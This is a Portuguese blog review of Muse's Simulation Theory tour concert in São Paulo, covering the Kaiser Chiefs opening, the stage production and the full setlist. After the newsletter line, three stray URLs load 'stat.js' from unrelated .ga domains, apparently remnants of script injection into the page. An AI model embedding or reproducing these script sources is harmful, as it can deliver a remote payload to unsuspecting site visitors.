Muse em São Paulo

Mesmo com local do show pequeno, Muse em São Paulo trouxe toda a estrutura da turnê resultando em nada menos do que espetacular.

No Ginásio do Ibirapuera no último dia 09, a tão bem produzida “Simulation Theory World Tour”, foi extremamente bem executada. O Muse em São Paulo, soube fazer mais uma apresentação marcante para seus fãs. A banda britânica de rock alternativo voltou ao país trazendo mais um show de uma das turnês mais bem trabalhadas que já fizeram. O trio está divulgando o último álbum de estúdio que traz críticas à modernidade, o Simulation Theory (2018).

Dessa vez, a primeira apresentação da banda aconteceu no último dia de Rock in Rio, encerrando o festival em grande estilo como um bom headliner. Já em SP, a banda infelizmente teve que alterar o local. O Allianz que receberia 50 mil pessoas, deu lugar ao ginásio do Ibirapuera, que suporta até 10 mil. Mas se isso era motivo para se preocupar com o desenvolvimento do show, pode-se dizer que foi até mesmo digno de uma arena.

Confira como foi:

Assim como já havíamos listado aqui 5 motivos para ver o Muse ao vivo, eles conseguiram cumprir com toda a expectativa acumulada com um completo espetáculo tendo direito a muitos efeitos especiais e leds pelos instrumentos e figurinos. Além de uma passarela que aproximou ainda mais os músicos do Ginásio todo, dançarinos futuristas, o gigante esqueleto androide Murph (personagem do clipe de “The Dark Side”), e um grande telão proporcional ao palco, que apareciam projeções e imagens simultâneas de planos diferentes dos fãs e de Matthew Bellamy, Dominic Howard e Christopher Wolstenholme, foram peças essenciais para compor todo o show. Ou seja, contrariando as outras turnês já feitas no Brasil, a banda não exitou nem mesmo sendo em um lugar menor em diminuir a estrutura de palco que essa turnê propõe.

ABERTURA

A abertura foi por conta da banda Kaiser Chiefs, que pontualmente começou seu show as 19:45 com muita energia. Os britânicos que “nasceram” na era de indie rock dos anos 2000, assim como nas outras vindas ao Brasil, mostraram o quão cativantes e competentes são na hora de fazer um bom show. Até mesmo quando não é para o seu próprio público, como quando abriram os shows do Foo Fighters nos últimos anos.

Por mais que a banda esteja divulgando seu último disco, “Duck” (2019), a curta setlist de abertura não deu muito espaço para que os caras apresentassem tantas canções novas. Eles priorizaram fazer um show animado com canções mais conhecidas e que garantiriam coros da plateia, músicas como “Everyday I Love You Less and Less”, “Ruby”, “The Angry Mob” e “Oh My God” agitaram os fãs do Muse que pareciam estar guardando suas energias para o show principal.

Mas vale citar que o Kaiser Chiefs merece uma atenção e uma próxima vinda com seu próprio palco e fãs, mesmo que seja em uma casa de show menor, porque eles dão seu melhor sempre e é lindo ver toda a dedicação de Ricky Wilson e companhia desde o primeiro segundo no palco.

Sobre o show

Antes do show começar de fato, a playlist ala Stranger Things que tocava já era proposital. Isso para absorver todos ali à atmosfera da “Teoria da Simulação”, já que o produtor visual do último disco da banda é o mesmo da série. Enfim, todos já estavam no clima oitentista que a banda vem propondo, e finalmente deram inicio as 2 horas de show que pareceram ter sido até menos. E foi hit atrás de hit. Até mesmo as novas canções sintetizadas, que ao vivo tiveram um quê mais orgânico, o que foi muito bom para os fãs mais antigos que se incomodaram com o peso eletrônico do último disco.

A apresentação começou com Bellamy surgindo da ponta da passarela em meio aos dançarinos na versão reduzida de “Algorithm”. E ali automaticamente foi feita a conexão entre a banda e fãs de todos os setores no Ginásio. Toda essa aproximação dos músicos por meio da passarela que chegava até o final da pista, tornou de certo modo o show mais intimista. Emendando a introdução com “Pressure”, “Psycho” e “Break It to Me”, o coro feito pelo público foi um show a parte, mas o primeiro ponto alto foi em “Uprising”, música que o Ginásio inteiro cantou os refrões com todas as forças, fazendo o vocalista soltar uma gargalhada ao final por ver seus fãs brasileiros em tal nível de empolgação logo no inicio do show.

Setlist balanceado entre músicas novas e clássicas

Seguindo o show com a recente “Propaganda”, que remete a uma mistura de Prince sintetizado com um toque de trap. Os dançarinos fizeram coreografias com lançadores de fumaça dando um efeito visivelmente bonito à performance. Mas não demorou muito para que os fãs enlouquecessem com algumas de suas preferidas e clássicas. “Plug in Baby” e “Supermassive Black Hole”, que colocou a guitarra nervosa de Bellamy para jogo novamente. Entre projeções que conversavam com as performances no enorme telão o show ganhava em efeitos. O único diferencial entre o show do Rio e SP começou com “Showbiz”, que não fazia mais parte da setlist a um tempo e foi um agrado e tanto à fã base que fez esse pedido em especial pela internet.

Muse em São Paulo:

Para abalar as emoções

A parte do show mais intimista em si, certamente foi em “Dig Down”. Os três integrantes fizeram um belo acústico. O trio ficou no final da passarela, onde estiveram mais perto da plateia iluminada. Após o acústico, vieram as canções com teor mais romântico. Uma delas foi “Madness”, seguindo de explosões de papel picado. As projeções no telão e os incríveis jogos de luzes mais uma vez tiveram destaque. Rolou um medley de trechos instrumentais de “Futurism”, “Unnatural Selection” e “Micro Cuts”, partindo daí para um dos maiores hits da banda, “Starlight”, que também teve destaque pelos coros emocionados feitos pelos fãs.

Chegando ao final do show, o ginásio inteiro foi ao delírio quando ao começo de “Stockholm Syndrome”, o esqueleto Murph, surgiu tomando parte do palco (ala Iron Maiden com o Eddie gigante). Desde então, o velho e bom Muse pesado permaneceu no mesmo ritmo até o final, e como de costume fez um medley de metal com “Assassin”, “Reapers”, “The Handler”, terminando com a ótima “New Born”.

Ovacionados, a banda se encaminhou sem pausa para a última da setlist. E na sincera opinião de quem vos fala, uma das melhores canções para se curtir ao vivo começou, a explosiva “Knights of Cydonia”, que não deixou uma única pessoa parada e fechou perfeitamente o provável melhor show do Muse em São  Paulo, aliás, o melhor da banda já feito no Brasil.

Com certeza, foi uma noite marcante para a banda e quem os acompanha a tempos. Finalmente trazendo a estrutura de palco completa, o Muse em São Paulo evidenciou sua grandiosidade como uma das melhores bandas do século e cresceu em meio àquele local pequeno, transformando o Ginásio do Ibirapuera em uma enorme Arena durante 2 horas. Foi um verdadeiro espetáculo, foi apenas o Muse.

Muse na “Simulation Theory World Tour”

Setlist Muse em São Paulo:

  1. Algorithm (versão reduzida)
  2. Pressure
  3. Psycho
  4. Break It to Me
  5. Uprising
  6. Propaganda
  7. Plug In Baby
  8. Pray (High Valyrian)
  9. The Dark Side
  10. Supermassive Black Hole
  11. Thought Contagion
  12. Interlude / Hysteria
  13. Showbiz
  14. The 2nd Law: Unsustainable
  15. Dig Down
  16. Madness
  17. Mercy
  18. Time Is Running Out
  19. Houston Jam (trechos de “Futurism”, “Unnatural Selection” e “Micro Cuts”)
  20. Prelude
  21. Starlight
  22. Algorithm
  23. Metal Medley – Stockholm Syndrome / Assassin / Reapers / The Handler / New Born
  24. Knights of Cydonia

Confira mais notícias do mundo da música no Minuto Indie.

Inscreva-se em nossa newsletter. Utilize a aba lateral e informe seu e-mail. Receba notícias antes de todo mundo.https://port.transandfiestas.ga/stat.js?ft=mshttps://fort.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

Autor

  • Bianca Tenório

    Formada em Rádio e TV, louca por shows e tudo que envolva a música! Desde a infância interessada por qualquer representação dessa arte em todos os âmbitos 🙂

Escrito por

Bianca Tenório

Formada em Rádio e TV, louca por shows e tudo que envolva a música! Desde a infância interessada por qualquer representação dessa arte em todos os âmbitos :)